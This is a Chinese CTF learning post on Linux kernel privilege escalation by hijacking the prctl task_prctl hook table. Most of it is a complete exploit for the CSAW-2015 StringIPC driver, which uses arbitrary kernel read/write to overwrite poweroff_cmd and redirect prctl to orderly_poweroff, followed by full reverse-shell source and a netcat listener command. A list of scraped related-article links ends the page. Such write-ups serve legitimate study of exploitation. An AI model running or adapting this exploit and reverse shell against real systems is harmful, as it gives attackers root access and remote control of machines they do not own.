Hijack prctl

Prctl是linux的一个函数,可以对进程、线程做一些设置,prctl内部通过虚表来调用对应的功能,如果我们劫持prctl的虚表,使它指向其他对我们有帮助的内核函数,比如call_usermodehelper函数,该函数执行一个用户传入的二进制文件,且以root权限执行,由此可以利用起来提权。

我们分析一下prctl源码,在linux/kernel/sys.c里,我们看到这

我们继续跟进,查看security_task_prctl函数,在linux/security/security.c文件里找到

函数调用了task_prctl表里的函数,因此,如果我们劫持task_prctl表,就能通过执行prctl来执行我们想要的函数,比如call_usermodehelper函数。为了确定我们该劫持的表的地址,我们先写一个小demo.c

  1. #include <sys/prctl.h>
  2. int main() {
  3. prctl(0,0);
  4. }

然后,编译,放到系统里,我们先查看一下security_task_prctl函数的地址

接下来,我们用gdb在这里断点,然后运行我们的demo程序

成功断点

继续单步运行,到这里

从而,我们确定了task_prctl表的地址,减去内核基地址,我们就能确定task_prctl的偏移了。在这里,我们得到的是偏移是0xeb8118。

有一点不幸的是, 传入security_task_prctl函数的第一个参数被截断了,这意味着,如果我们task_prctl劫持为call_usermodehelper,在64位下不能完成利用。

因为call_usermodehelper函数的第一个参数是一个字符串地址

为了解决这个问题,我们可以借鉴一下glibc下劫持为one_gadget的思想,我们来搜索一下有没有类似的one_gadget可以使用。我们在内核源码里搜索哪些函数调用了call_usermodehelper函数。

我们发现mce_do_trigger函数可以用,它调用call_usermodehelper函数的前两个参数来自全局数据段,或许可以被我们劫持修改

我们有找到几个合适的

其中run_cmd调用了call_usermodehelper函数。由此,我们只需要把prctl_task劫持到这几个函数,比如__orderly_poweroff,然后篡改poweroff_cmd为我们需要执行的二进制文件路径。接着调用prctl,就会以root权限执行我们的二进制文件,从而提权。我们可以执行一个反弹shell的程序,然后用nc来连接。

为了实现上述目标,我们首先需要得到内核基址,之前,我在https://blog.csdn.net/seaaseesa/article/details/104694219这篇博客里讲到了劫持vdso,我们同样需要利用一下,我们计算出了vdso的地址后,就能算出内核的基址,因为它们之间的差值是不变的。

我们以CSAW-2015-StringIPC为例,它的exploit.c如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8
//poweroff字符串的偏移
#define POWEROFF_CMD 0xE4DFA0
//orderly_poweroff函数的偏移
#define ORDERLY_POWEROFF 0x9c950
//task_prctl的偏移
#define TASK_PRCTL 0xeb8118;struct alloc_channel_args {size_t buf_size;int id;
};struct shrink_channel_args {int id;size_t size;
};struct read_channel_args {int id;char *buf;size_t count;
};struct write_channel_args {int id;char *buf;size_t count;
};struct seek_channel_args {int id;loff_t index;int whence;
};void errExit(char *msg) {puts(msg);exit(-1);
}
//驱动的文件描述符
int fd;
//初始化驱动
void initFD() {fd = open("/dev/csaw",O_RDWR);if (fd < 0) {errExit("[-] open file error!!");}
}//申请一个channel,返回id
int alloc_channel(size_t size) {struct alloc_channel_args args;args.buf_size = size;args.id = -1;ioctl(fd,CSAW_ALLOC_CHANNEL,&args);if (args.id == -1) {errExit("[-]alloc_channel error!!");}return args.id;
}//改变channel的大小
void shrink_channel(int id,size_t size) {struct shrink_channel_args args;args.id = id;args.size = size;ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {struct seek_channel_args args;args.id = id;args.index = offset;args.whence = whence;ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//读取数据
void read_channel(int id,char *buf,size_t count) {struct read_channel_args args;args.id = id;args.buf = buf;args.count = count;ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//写数据
void write_channel(int id,char *buf,size_t count) {struct write_channel_args args;args.id = id;args.buf = buf;args.count = count;ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//任意地址读
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {seek_channel(id,addr-0x10,SEEK_SET);read_channel(id,buf,count);
}
//任意地址写
//由于题目中使用了strncpy_from_user,遇到0就会截断,因此,我们逐字节写入
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {for (int i=0;i<count;i++) {seek_channel(id,addr+i-0x10,SEEK_SET);write_channel(id,buf+i,1);}
}
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {//获取当前程序的vdso.so加载地址0x7ffxxxxxxxxsize_t vdso_addr = getauxval(AT_SYSINFO_EHDR);char* name = "gettimeofday";if (!vdso_addr) {errExit("[-]error get name's offset");}//仅需要搜索1页大小即可,因为vdso映射就一页0x1000size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));if (name_addr < 0) {errExit("[-]error get name's offset");}return name_addr - vdso_addr;
}int main() {char *buf = (char *)calloc(1,0x1000);initFD();//申请一个channel,大小0x100int id = alloc_channel(0x100);//改变channel大小,形成漏洞,实现任意地址读写shrink_channel(id,0x101);//获取gettimeofday字符串在vdso.so里的偏移int gettimeofday_str_offset = get_gettimeofday_str_offset();printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);size_t vdso_addr = -1;for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {//读取一页数据arbitrary_read(id,buf,addr,0x1000);//如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址//之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {printf("[+]find vdso.so!!\n");vdso_addr = addr;printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);break;}}if (vdso_addr == -1) {errExit("[-]can't find vdso.so!!");}//计算出kernel基地址size_t kernel_base = vdso_addr & 0xffffffffff000000;printf("[+]kernel_base=0x%lx\n",kernel_base);size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;printf("[+]poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;printf("[+]poweroff_cmd_addr=0x%lx\n",orderly_poweroff_addr);size_t task_prctl_addr = kernel_base + TASK_PRCTL;printf("[+]task_prctl_addr=0x%lx\n",task_prctl_addr);//反弹shell,执行的二进制文件,由call_usermodehelper来执行,自带rootchar reverse_command[] = "/reverse_shell";//修改poweroff_cmd_addr处的字符串为我们需要执行的二进制文件的路径arbitrary_write(id,reverse_command,poweroff_cmd_addr,strlen(reverse_command));//hijack prctl,使得task_prctl指向orderly_poweroff函数arbitrary_write(id,&orderly_poweroff_addr,task_prctl_addr,8);if (fork() == 0) { //fork一个子进程,来触发shell的反弹prctl(0,0);exit(-1);} else {printf("[+]open a shell\n");system("nc -lvnp 7777");}return 0;
}

而qwb2018-solid_core同样,也是这个解法,稍作一下修改即可。反弹shell的程序如下

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <fcntl.h>
#include <unistd.h>char server_ip[]="127.0.0.1";
uint32_t server_port=7777;int main()
{int sock = socket(AF_INET, SOCK_STREAM, 0);struct sockaddr_in attacker_addr = {0};attacker_addr.sin_family = AF_INET;attacker_addr.sin_port = htons(server_port);attacker_addr.sin_addr.s_addr = inet_addr(server_ip);while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);dup2(sock, 0);dup2(sock, 1);dup2(sock, 2);system("/bin/sh");
}

linux kernel pwn学习之hijack prctl相关推荐

  1. 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前

    [学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...

  2. CTF-PWN-babydriver (linux kernel pwn+UAF)

    第一次接触linux kernel pwn,和传统的pwn题区别较大,需要比较多的前置知识,以及这种题的环境搭建.运行和调试相关的知识. 文章目录 Linux内核及内核模块 Linux内核(Kerne ...

  3. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  4. skyeye + ulibc + busybox + linux kernel

    今年的主要工作就是把linux kernel好好学习一下,目前编译的问题不大,下面就是一些具体的移植工作.下面介绍一下涉及的主要相关工作: (1) skyeye 国产的虚拟机仿真工具 (2)ulibc ...

  5. 改程序...茅山后裔.....软件工程......linux kernel.....kde4....

    马上要去上学了,近一段还是比较清闲的.....领导让我在上学前将原来写的一个程序再修改一下,实在是没有心情阿.现在看以前的代码简直就是就是一种折磨阿.代码写的太乱了.惨不忍睹阿.真是后悔当初没有nig ...

  6. Linux内核学习(七):linux kernel内核启动(一):概述篇

    Linux内核学习(七):linux kernel内核启动(一):概述篇 这一篇让我们来大致的了解一下Linux内核的启动过程 这篇文章不涉及源码,重在让你知道这个linux内核的启动过程,源码详细的 ...

  7. Linux内核学习(六):linux kernel的Kconfig分析

    Linux内核学习(六):linux kernel的Kconfig分析 前面我们知道了makefile文件,makefile文件会结合配置文件.config来进行操作.这里就再来看看生成内核.conf ...

  8. Linux内核学习(五):linux kernel源码结构以及makefile分析

    Linux内核学习(五):linux kernel源码结构以及makefile分析 前面我们知道了linux内核镜像的生成.加载以及加载工具uboot. 这里我们来看看linux内核的源码的宏观东西, ...

  9. linux kernel内存管理学习篇

    目录 1.DDR的注册 (1).在dts中定义了DDR(memory)的范围 (2).将DDR地址范围注册到linux kernel 2.reserved-memory的注册 (1).在dts中定义了 ...

最新文章

  1. 【Workshshop No.3 | Kyligence X 青云QingCloud Workshop】零基础搭建云上大数据平台
  2. 计算机并行处理专业,分布式计算机并行处理技术(论文).doc
  3. 前格式 直接将转换为当_如何将word转化为PDF格式?1分钟学会文档转换
  4. 软件众包,哪个数据库好
  5. Linux--Linux下安装JDk
  6. Adodb CS3(DW、FW、PS、FLASH)安装序列号
  7. 国学传承美德,走进一德大脑屋国学启蒙课
  8. A slightly scary story on Amazons
  9. 火车头如何把标题加html标签,火车采集器怎么编辑标签 火车采集器标签编辑教程...
  10. 电脑老是弹出vrvedp_m_卸载瑞星的最简单方法 vrvedp_m卸载
  11. Defect Detection论文合集、代码和数据集
  12. 修改USB默认选中MTP模式
  13. 加州伯克利计算机科学录取,全美TOP1-伯克利EECS录取驾到!
  14. 简单易上手的理财方法介绍
  15. 新的机械硬盘怎么测试软件,机械硬盘怎么判断是否全新(有没有什么软件)
  16. PySerial学习系列1--serial.tools
  17. python微控制器编程从零开始下载_Python微控制器编程从零开始 使用MicroPython
  18. matlab PCA(Principal Component Analysis)主成分分析作图 2D|3D带有参数指向 案例
  19. 子墨庖丁Android的ActionBar源代码分析 (一)实例化
  20. 三角网格算法应用总结

热门文章

  1. html自动适配手机屏幕,手机web——自适应网页设计(html/css控制)
  2. UE4 贴图导出-将T3D格式导出为TGA
  3. 数据结构队列的创建,入队,出队
  4. 腾讯70亿元投资拼图 企鹅帝国“慢”之谜
  5. 最后三到四次重复是肌肉增长的原因,这期间的痛苦决定了你是冠军还是熊包。—— 阿诺德施瓦辛格
  6. 【分布式技术专题】「分布式技术架构」一文带你厘清分布式事务协议及分布式一致性协议的算法原理和核心流程机制(Paxos篇)
  7. Echarts下载使用
  8. C语言fgets读取整个文本文件的内容
  9. EM算法推导以及在高斯混合模型中的应用(详细)
  10. [奇怪的小知识]从网页上下载内嵌的PDF、PPT文件(以Google浏览器为例)